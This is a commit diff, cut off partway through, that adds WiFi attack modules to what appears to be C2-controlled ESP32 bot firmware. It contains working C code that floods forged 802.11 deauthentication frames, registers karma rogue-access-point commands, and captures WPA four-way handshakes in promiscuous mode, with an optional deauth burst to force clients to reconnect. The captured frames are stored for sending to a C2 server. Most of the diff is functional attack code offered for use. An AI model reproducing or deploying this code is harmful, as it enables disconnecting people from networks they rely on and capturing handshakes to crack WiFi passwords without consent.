ε - Add WiFi offensive capabilities to mod_redteam
Some checks failed
Discord Push Notification / notify (push) Has been cancelled
Some checks failed
Discord Push Notification / notify (push) Has been cancelled
Phase 1 of v0.4.0 offensive modules: - Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer for stealth scan, karma, capture — solves single-callback ESP-IDF limit - Attack manager (rt_attack): mutual exclusion ensuring only one offensive operation runs at a time - Deauth refactored to use shared promisc dispatcher + attack lock - Stealth passive scan migrated to promisc dispatcher - Karma attack (rt_karma): probe request listener + probe response injection + rogue SoftAP with most-requested SSID + DNS responder - WPA handshake capture (rt_capture): EAPOL frame capture via promiscuous DATA filter, 4-way handshake identification, optional deauth burst to trigger reconnection - Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options - 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients, rt_capture, rt_capture_stop (14 total in mod_redteam)
This commit is contained in:
parent
920e8ec0bd
commit
2315979db0
@ -1,5 +1,6 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c
|
||||
rt_promisc.c rt_attack.c rt_deauth.c rt_karma.c rt_capture.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
|
||||
REQUIRES core nvs_flash lwip esp_wifi esp_netif freertos esp_timer esp_event
|
||||
)
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
/*
|
||||
* cmd_redteam.c
|
||||
* Red Team resilient connectivity — 7 C2 commands.
|
||||
* Red Team offensive operations — C2 command handlers.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "cmd_redteam.h"
|
||||
@ -17,6 +17,17 @@
|
||||
#include "rt_hunt.h"
|
||||
#include "rt_stealth.h"
|
||||
#include "rt_mesh.h"
|
||||
#include "rt_deauth.h"
|
||||
#include "rt_promisc.h"
|
||||
#include "rt_attack.h"
|
||||
|
||||
#ifdef CONFIG_RT_KARMA
|
||||
#include "rt_karma.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_RT_CAPTURE
|
||||
#include "rt_capture.h"
|
||||
#endif
|
||||
|
||||
#define TAG "RT"
|
||||
|
||||
@ -221,6 +232,206 @@ static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_deauth <bssid> [client] [count] [channel]
|
||||
* Send 802.11 deauth frames to disconnect clients from an AP.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_deauth(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: rt_deauth <bssid> [client] [count] [channel]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Parse BSSID */
|
||||
uint8_t bssid[6];
|
||||
if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&bssid[0], &bssid[1], &bssid[2],
|
||||
&bssid[3], &bssid[4], &bssid[5]) != 6) {
|
||||
msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Parse optional client MAC */
|
||||
uint8_t client[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
bool has_client = false;
|
||||
if (argc >= 2 && strcmp(argv[1], "all") != 0) {
|
||||
if (sscanf(argv[1], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&client[0], &client[1], &client[2],
|
||||
&client[3], &client[4], &client[5]) == 6) {
|
||||
has_client = true;
|
||||
}
|
||||
}
|
||||
|
||||
/* Parse optional count (0 = continuous) */
|
||||
uint32_t count = 0;
|
||||
if (argc >= 3) {
|
||||
count = (uint32_t)atoi(argv[2]);
|
||||
}
|
||||
|
||||
/* Parse optional channel */
|
||||
uint8_t channel = 0;
|
||||
if (argc >= 4) {
|
||||
channel = (uint8_t)atoi(argv[3]);
|
||||
}
|
||||
|
||||
rt_deauth_start(bssid, has_client ? client : NULL, channel, count, 10);
|
||||
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "Deauth started: %s → %s%s",
|
||||
argv[0],
|
||||
has_client ? argv[1] : "broadcast",
|
||||
count ? "" : " (continuous)");
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_deauth_stop
|
||||
* Stop the running deauth attack.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_deauth_stop(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
if (!rt_deauth_is_active()) {
|
||||
msg_info(TAG, "Deauth not running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rt_deauth_stop();
|
||||
msg_info(TAG, "Deauth stopped", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_karma [duration_s]
|
||||
* Start karma listener (probe request responder + rogue AP).
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_RT_KARMA
|
||||
static int cmd_rt_karma(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (rt_karma_is_active()) {
|
||||
msg_info(TAG, "Karma already running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint32_t duration = 0;
|
||||
if (argc >= 1) {
|
||||
duration = (uint32_t)atoi(argv[0]);
|
||||
}
|
||||
|
||||
rt_karma_start(duration);
|
||||
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "Karma started%s",
|
||||
duration ? "" : " (continuous)");
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_rt_karma_stop(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
if (!rt_karma_is_active()) {
|
||||
msg_info(TAG, "Karma not running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rt_karma_stop();
|
||||
msg_info(TAG, "Karma stopped", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_rt_karma_clients(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
rt_karma_client_t clients[RT_KARMA_MAX_CLIENTS];
|
||||
int count = rt_karma_get_clients(clients, RT_KARMA_MAX_CLIENTS);
|
||||
|
||||
if (count == 0) {
|
||||
msg_info(TAG, "No clients captured", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line),
|
||||
"[%d] %02X:%02X:%02X:%02X:%02X:%02X ssid='%s' conn=%s",
|
||||
i,
|
||||
clients[i].mac[0], clients[i].mac[1], clients[i].mac[2],
|
||||
clients[i].mac[3], clients[i].mac[4], clients[i].mac[5],
|
||||
clients[i].ssid,
|
||||
clients[i].connected ? "yes" : "no");
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_RT_KARMA */
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_capture <bssid> [channel] [deauth]
|
||||
* Capture WPA 4-way handshake from target AP.
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_RT_CAPTURE
|
||||
static int cmd_rt_capture(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: rt_capture <bssid> [channel] [deauth]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint8_t bssid[6];
|
||||
if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&bssid[0], &bssid[1], &bssid[2],
|
||||
&bssid[3], &bssid[4], &bssid[5]) != 6) {
|
||||
msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint8_t channel = 0;
|
||||
if (argc >= 2) {
|
||||
channel = (uint8_t)atoi(argv[1]);
|
||||
}
|
||||
|
||||
bool send_deauth = false;
|
||||
if (argc >= 3 && strcmp(argv[2], "deauth") == 0) {
|
||||
send_deauth = true;
|
||||
}
|
||||
|
||||
rt_capture_start(bssid, channel, send_deauth);
|
||||
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Capture started: %s ch=%d%s",
|
||||
argv[0], channel, send_deauth ? " +deauth" : "");
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_rt_capture_stop(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
if (!rt_capture_is_active()) {
|
||||
msg_info(TAG, "Capture not running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rt_capture_stop();
|
||||
msg_info(TAG, "Capture stopped", req);
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_RT_CAPTURE */
|
||||
|
||||
/* ============================================================
|
||||
* Command table
|
||||
* ============================================================ */
|
||||
@ -295,6 +506,80 @@ static const command_t rt_cmds[] = {
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_deauth",
|
||||
.sub = NULL,
|
||||
.help = "Deauth attack: rt_deauth <bssid> [client|all] [count] [channel]",
|
||||
.min_args = 1,
|
||||
.max_args = 4,
|
||||
.handler = (command_handler_t)cmd_rt_deauth,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_deauth_stop",
|
||||
.sub = NULL,
|
||||
.help = "Stop deauth attack",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_deauth_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
#ifdef CONFIG_RT_KARMA
|
||||
{
|
||||
.name = "rt_karma",
|
||||
.sub = NULL,
|
||||
.help = "Karma: rt_karma [duration_s]",
|
||||
.min_args = 0,
|
||||
.max_args = 1,
|
||||
.handler = (command_handler_t)cmd_rt_karma,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_karma_stop",
|
||||
.sub = NULL,
|
||||
.help = "Stop karma",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_karma_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_karma_clients",
|
||||
.sub = NULL,
|
||||
.help = "List karma-captured clients",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_karma_clients,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
#endif
|
||||
#ifdef CONFIG_RT_CAPTURE
|
||||
{
|
||||
.name = "rt_capture",
|
||||
.sub = NULL,
|
||||
.help = "Capture WPA handshake: rt_capture <bssid> [ch] [deauth]",
|
||||
.min_args = 1,
|
||||
.max_args = 3,
|
||||
.handler = (command_handler_t)cmd_rt_capture,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_capture_stop",
|
||||
.sub = NULL,
|
||||
.help = "Stop handshake capture",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_capture_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
#endif
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
@ -306,6 +591,8 @@ void mod_redteam_register_commands(void)
|
||||
|
||||
rt_config_init();
|
||||
rt_config_save_orig_mac();
|
||||
rt_promisc_init();
|
||||
rt_attack_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
|
||||
command_register(&rt_cmds[i]);
|
||||
|
||||
96
espilon_bot/components/mod_redteam/rt_attack.c
Normal file
96
espilon_bot/components/mod_redteam/rt_attack.c
Normal file
@ -0,0 +1,96 @@
|
||||
/*
|
||||
* rt_attack.c
|
||||
* Mutual exclusion for offensive operations.
|
||||
*
|
||||
* Ensures only one attack runs at a time (deauth, beacon, karma, capture).
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "rt_attack.h"
|
||||
|
||||
#define TAG "RT_ATTACK"
|
||||
|
||||
static SemaphoreHandle_t s_mutex = NULL;
|
||||
static rt_attack_type_t s_current = RT_ATTACK_NONE;
|
||||
static bool s_inited = false;
|
||||
|
||||
static const char *s_names[] = {
|
||||
[RT_ATTACK_NONE] = "none",
|
||||
[RT_ATTACK_DEAUTH] = "deauth",
|
||||
[RT_ATTACK_BEACON] = "beacon",
|
||||
[RT_ATTACK_KARMA] = "karma",
|
||||
[RT_ATTACK_CAPTURE] = "capture",
|
||||
};
|
||||
|
||||
void rt_attack_init(void)
|
||||
{
|
||||
if (s_inited) return;
|
||||
|
||||
s_mutex = xSemaphoreCreateMutex();
|
||||
configASSERT(s_mutex);
|
||||
|
||||
s_current = RT_ATTACK_NONE;
|
||||
s_inited = true;
|
||||
}
|
||||
|
||||
esp_err_t rt_attack_start(rt_attack_type_t type)
|
||||
{
|
||||
if (!s_inited) rt_attack_init();
|
||||
|
||||
xSemaphoreTake(s_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_current != RT_ATTACK_NONE) {
|
||||
ESP_LOGW(TAG, "Cannot start %s: %s already running",
|
||||
s_names[type], s_names[s_current]);
|
||||
xSemaphoreGive(s_mutex);
|
||||
return ESP_ERR_INVALID_STATE;
|
||||
}
|
||||
|
||||
s_current = type;
|
||||
ESP_LOGI(TAG, "Attack started: %s", s_names[type]);
|
||||
|
||||
xSemaphoreGive(s_mutex);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
void rt_attack_stop(void)
|
||||
{
|
||||
if (!s_inited) return;
|
||||
|
||||
xSemaphoreTake(s_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_current != RT_ATTACK_NONE) {
|
||||
ESP_LOGI(TAG, "Attack stopped: %s", s_names[s_current]);
|
||||
}
|
||||
s_current = RT_ATTACK_NONE;
|
||||
|
||||
xSemaphoreGive(s_mutex);
|
||||
}
|
||||
|
||||
rt_attack_type_t rt_attack_current(void)
|
||||
{
|
||||
if (!s_inited) return RT_ATTACK_NONE;
|
||||
|
||||
xSemaphoreTake(s_mutex, portMAX_DELAY);
|
||||
rt_attack_type_t t = s_current;
|
||||
xSemaphoreGive(s_mutex);
|
||||
return t;
|
||||
}
|
||||
|
||||
const char *rt_attack_name(void)
|
||||
{
|
||||
return s_names[rt_attack_current()];
|
||||
}
|
||||
|
||||
bool rt_attack_is_active(void)
|
||||
{
|
||||
return rt_attack_current() != RT_ATTACK_NONE;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
49
espilon_bot/components/mod_redteam/rt_attack.h
Normal file
49
espilon_bot/components/mod_redteam/rt_attack.h
Normal file
@ -0,0 +1,49 @@
|
||||
/*
|
||||
* rt_attack.h
|
||||
* Mutual exclusion for offensive operations.
|
||||
*
|
||||
* Only one attack (deauth, beacon, karma, capture) can run at a time.
|
||||
* Each attack calls rt_attack_start() before launching its task and
|
||||
* rt_attack_stop() when it finishes or is aborted.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include "esp_err.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
RT_ATTACK_NONE = 0,
|
||||
RT_ATTACK_DEAUTH,
|
||||
RT_ATTACK_BEACON,
|
||||
RT_ATTACK_KARMA,
|
||||
RT_ATTACK_CAPTURE,
|
||||
} rt_attack_type_t;
|
||||
|
||||
/* Initialise the attack manager (call once, idempotent). */
|
||||
void rt_attack_init(void);
|
||||
|
||||
/*
|
||||
* Try to start an attack. Returns ESP_OK if acquired, or
|
||||
* ESP_ERR_INVALID_STATE if another attack is already running.
|
||||
*/
|
||||
esp_err_t rt_attack_start(rt_attack_type_t type);
|
||||
|
||||
/* Release the attack lock (call from the stopping attack). */
|
||||
void rt_attack_stop(void);
|
||||
|
||||
/* Current attack type (NONE if idle). */
|
||||
rt_attack_type_t rt_attack_current(void);
|
||||
|
||||
/* Human-readable name for the current attack. */
|
||||
const char *rt_attack_name(void);
|
||||
|
||||
/* True if any attack is in progress. */
|
||||
bool rt_attack_is_active(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
40
espilon_bot/components/mod_redteam/rt_beacon.h
Normal file
40
espilon_bot/components/mod_redteam/rt_beacon.h
Normal file
@ -0,0 +1,40 @@
|
||||
/*
|
||||
* rt_beacon.h
|
||||
* 802.11 beacon frame flood — spam fake SSIDs.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
RT_BEACON_RANDOM, /* Random SSIDs + random BSSIDs */
|
||||
RT_BEACON_RICKROLL, /* Rick Astley lyrics as SSIDs */
|
||||
RT_BEACON_CUSTOM, /* User-supplied SSID list */
|
||||
} rt_beacon_mode_t;
|
||||
|
||||
/*
|
||||
* Start beacon flood.
|
||||
* mode – flood mode (random, rickroll, custom)
|
||||
* channel – WiFi channel (1-13), 0 = current
|
||||
* count – total beacons to send, 0 = continuous
|
||||
* ssids – NULL-terminated array of SSIDs (only for CUSTOM mode)
|
||||
*/
|
||||
void rt_beacon_start(rt_beacon_mode_t mode,
|
||||
uint8_t channel,
|
||||
uint32_t count,
|
||||
const char **ssids);
|
||||
|
||||
/* Stop the beacon flood task. */
|
||||
void rt_beacon_stop(void);
|
||||
|
||||
/* True if beacon flood is running. */
|
||||
bool rt_beacon_is_active(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
383
espilon_bot/components/mod_redteam/rt_capture.c
Normal file
383
espilon_bot/components/mod_redteam/rt_capture.c
Normal file
@ -0,0 +1,383 @@
|
||||
/*
|
||||
* rt_capture.c
|
||||
* WPA/WPA2 4-way handshake capture via promiscuous mode.
|
||||
*
|
||||
* Captures EAPOL frames (EtherType 0x888E) from data frames on the
|
||||
* target channel. Identifies the 4 handshake messages via the Key Info
|
||||
* field and stores them for transmission to C3PO.
|
||||
*
|
||||
* Optionally sends a short deauth burst to trigger client reconnection.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_CAPTURE)
|
||||
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "rt_capture.h"
|
||||
#include "rt_promisc.h"
|
||||
#include "rt_attack.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "RT_CAPTURE"
|
||||
|
||||
/* ============================================================
|
||||
* EAPOL / 802.1X constants
|
||||
* ============================================================ */
|
||||
|
||||
/* EtherType for 802.1X authentication */
|
||||
#define ETHERTYPE_EAPOL 0x888E
|
||||
|
||||
/* EAPOL Key Info flags (big-endian in the frame) */
|
||||
#define KEY_INFO_MIC (1 << 8) /* bit 8: MIC present */
|
||||
#define KEY_INFO_SECURE (1 << 9) /* bit 9: secure */
|
||||
#define KEY_INFO_INSTALL (1 << 6) /* bit 6: install */
|
||||
#define KEY_INFO_ACK (1 << 7) /* bit 7: ACK */
|
||||
#define KEY_INFO_PAIRWISE (1 << 3) /* bit 3: pairwise */
|
||||
|
||||
/* IEEE 802.11 data frame with LLC/SNAP encapsulation */
|
||||
/* Data frame header: 24 bytes (no QoS) or 26 bytes (QoS) */
|
||||
/* LLC/SNAP: AA AA 03 00 00 00 [ethertype 2 bytes] */
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
|
||||
static TaskHandle_t s_task = NULL;
|
||||
static rt_capture_result_t s_result;
|
||||
|
||||
/* Capture parameters */
|
||||
static uint8_t s_target_bssid[6];
|
||||
static uint8_t s_target_channel;
|
||||
static bool s_send_deauth;
|
||||
|
||||
/* ============================================================
|
||||
* Identify EAPOL handshake message number from Key Info
|
||||
* ============================================================
|
||||
*
|
||||
* M1: AP→Client ACK=1, MIC=0, Install=0, Pairwise=1
|
||||
* M2: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1
|
||||
* M3: AP→Client ACK=1, MIC=1, Install=1, Pairwise=1
|
||||
* M4: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1, nonce=0
|
||||
*/
|
||||
static int identify_eapol_msg(const uint8_t *eapol, size_t len)
|
||||
{
|
||||
/* Minimum EAPOL-Key frame: 4 (802.1X hdr) + 95 (key frame) = 99 bytes */
|
||||
if (len < 99) return 0;
|
||||
|
||||
/* 802.1X header: version(1) + type(1) + length(2) */
|
||||
uint8_t eapol_type = eapol[1];
|
||||
if (eapol_type != 3) return 0; /* type 3 = EAPOL-Key */
|
||||
|
||||
/* Key descriptor: type(1) at offset 4 */
|
||||
/* Key Info at offset 5-6 (big-endian) */
|
||||
uint16_t key_info = (eapol[5] << 8) | eapol[6];
|
||||
|
||||
bool ack = (key_info & KEY_INFO_ACK) != 0;
|
||||
bool mic = (key_info & KEY_INFO_MIC) != 0;
|
||||
bool install = (key_info & KEY_INFO_INSTALL) != 0;
|
||||
|
||||
if (ack && !mic && !install) return 1; /* M1 */
|
||||
if (!ack && mic && !install) {
|
||||
/* M2 or M4 — distinguish by Key Nonce (offset 17, 32 bytes) */
|
||||
/* M4 has all-zero nonce */
|
||||
bool nonce_zero = true;
|
||||
for (int i = 17; i < 17 + 32 && i < (int)len; i++) {
|
||||
if (eapol[i] != 0) { nonce_zero = false; break; }
|
||||
}
|
||||
return nonce_zero ? 4 : 2;
|
||||
}
|
||||
if (ack && mic && install) return 3; /* M3 */
|
||||
|
||||
return 0; /* unknown */
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Promiscuous callback — look for EAPOL in data frames
|
||||
* ============================================================ */
|
||||
|
||||
static void IRAM_ATTR capture_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_DATA) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
const uint8_t *payload = pkt->payload;
|
||||
size_t pkt_len = pkt->rx_ctrl.sig_len;
|
||||
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
|
||||
|
||||
/* Data frame header: minimum 24 bytes */
|
||||
if (pkt_len < 24 + 8) return; /* header + LLC/SNAP minimum */
|
||||
|
||||
/* Check if BSSID matches (addr1 or addr2 or addr3 depending on flags) */
|
||||
uint16_t fc = payload[0] | (payload[1] << 8);
|
||||
uint8_t to_ds = (fc >> 8) & 0x01;
|
||||
uint8_t from_ds = (fc >> 9) & 0x01;
|
||||
|
||||
const uint8_t *bssid_field;
|
||||
const uint8_t *src_field;
|
||||
const uint8_t *dst_field;
|
||||
|
||||
if (to_ds == 0 && from_ds == 1) {
|
||||
/* From AP to client: addr1=dst, addr2=BSSID, addr3=src */
|
||||
dst_field = payload + 4;
|
||||
bssid_field = payload + 10;
|
||||
src_field = payload + 16;
|
||||
} else if (to_ds == 1 && from_ds == 0) {
|
||||
/* From client to AP: addr1=BSSID, addr2=src, addr3=dst */
|
||||
bssid_field = payload + 4;
|
||||
src_field = payload + 10;
|
||||
dst_field = payload + 16;
|
||||
} else {
|
||||
return; /* WDS or IBSS, skip */
|
||||
}
|
||||
|
||||
/* Filter by target BSSID */
|
||||
if (memcmp(bssid_field, s_target_bssid, 6) != 0) return;
|
||||
|
||||
/* Determine header length (24 or 26 for QoS) */
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
size_t hdr_len = 24;
|
||||
if (subtype >= 8) hdr_len = 26; /* QoS data */
|
||||
|
||||
if (pkt_len < hdr_len + 8) return;
|
||||
|
||||
/* LLC/SNAP header: AA AA 03 00 00 00 [ethertype] */
|
||||
const uint8_t *llc = payload + hdr_len;
|
||||
if (llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03) return;
|
||||
|
||||
/* EtherType at offset 6-7 of LLC/SNAP (big-endian) */
|
||||
uint16_t ethertype = (llc[6] << 8) | llc[7];
|
||||
if (ethertype != ETHERTYPE_EAPOL) return;
|
||||
|
||||
/* EAPOL frame starts after LLC/SNAP (8 bytes) */
|
||||
const uint8_t *eapol = llc + 8;
|
||||
size_t eapol_len = pkt_len - hdr_len - 8;
|
||||
|
||||
int msg = identify_eapol_msg(eapol, eapol_len);
|
||||
if (msg < 1 || msg > 4) return;
|
||||
|
||||
/* Store the frame */
|
||||
int idx = msg - 1;
|
||||
if (s_result.captured & (1 << idx)) return; /* already have this one */
|
||||
|
||||
size_t store_len = eapol_len;
|
||||
if (store_len > RT_CAPTURE_MAX_EAPOL_LEN) store_len = RT_CAPTURE_MAX_EAPOL_LEN;
|
||||
|
||||
memcpy(s_result.frames[idx].data, eapol, store_len);
|
||||
s_result.frames[idx].len = store_len;
|
||||
s_result.frames[idx].msg_num = msg;
|
||||
s_result.captured |= (1 << idx);
|
||||
|
||||
/* Track client MAC */
|
||||
if (msg == 2 || msg == 4) {
|
||||
memcpy(s_result.client, src_field, 6);
|
||||
} else {
|
||||
memcpy(s_result.client, dst_field, 6);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Captured EAPOL M%d (%zu bytes) from %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
msg, eapol_len,
|
||||
s_result.client[0], s_result.client[1], s_result.client[2],
|
||||
s_result.client[3], s_result.client[4], s_result.client[5]);
|
||||
|
||||
/* Check if complete */
|
||||
if (s_result.captured == 0x0F) {
|
||||
s_result.complete = true;
|
||||
ESP_LOGI(TAG, "Full 4-way handshake captured!");
|
||||
}
|
||||
}
|
||||
|
||||
/* Handler for the promiscuous dispatcher */
|
||||
static const rt_promisc_handler_t s_capture_handler = {
|
||||
.cb = capture_promisc_cb,
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA | WIFI_PROMIS_FILTER_MASK_MGMT,
|
||||
.tag = "capture",
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Short deauth burst (does NOT use the attack lock — internal use)
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint16_t frame_ctrl;
|
||||
uint16_t duration;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t reason;
|
||||
} deauth_frame_t;
|
||||
|
||||
static void send_deauth_burst(const uint8_t bssid[6], int count)
|
||||
{
|
||||
deauth_frame_t frame;
|
||||
memset(&frame, 0, sizeof(frame));
|
||||
frame.frame_ctrl = 0x00C0; /* deauth */
|
||||
frame.reason = 0x0007;
|
||||
|
||||
/* Broadcast deauth */
|
||||
memset(frame.addr1, 0xFF, 6);
|
||||
memcpy(frame.addr2, bssid, 6);
|
||||
memcpy(frame.addr3, bssid, 6);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Sent %d deauth frames to trigger reconnection", count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Capture task
|
||||
* ============================================================ */
|
||||
|
||||
static void capture_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
/* Reset result */
|
||||
memset(&s_result, 0, sizeof(s_result));
|
||||
memcpy(s_result.bssid, s_target_bssid, 6);
|
||||
|
||||
/* Register promiscuous handler */
|
||||
esp_err_t ret = rt_promisc_register(&s_capture_handler);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promisc register failed");
|
||||
rt_attack_stop();
|
||||
atomic_store(&s_active, false);
|
||||
s_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set channel */
|
||||
if (s_target_channel > 0 && s_target_channel <= 13) {
|
||||
rt_promisc_set_channel(s_target_channel);
|
||||
}
|
||||
|
||||
rt_promisc_enable();
|
||||
|
||||
ESP_LOGI(TAG, "Capture started on ch=%d for BSSID=%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_target_channel,
|
||||
s_target_bssid[0], s_target_bssid[1], s_target_bssid[2],
|
||||
s_target_bssid[3], s_target_bssid[4], s_target_bssid[5]);
|
||||
|
||||
/* Optionally send deauth to force reconnection */
|
||||
if (s_send_deauth) {
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
send_deauth_burst(s_target_bssid, 5);
|
||||
}
|
||||
|
||||
/* Wait for capture to complete or user stop */
|
||||
while (atomic_load(&s_active) && !s_result.complete) {
|
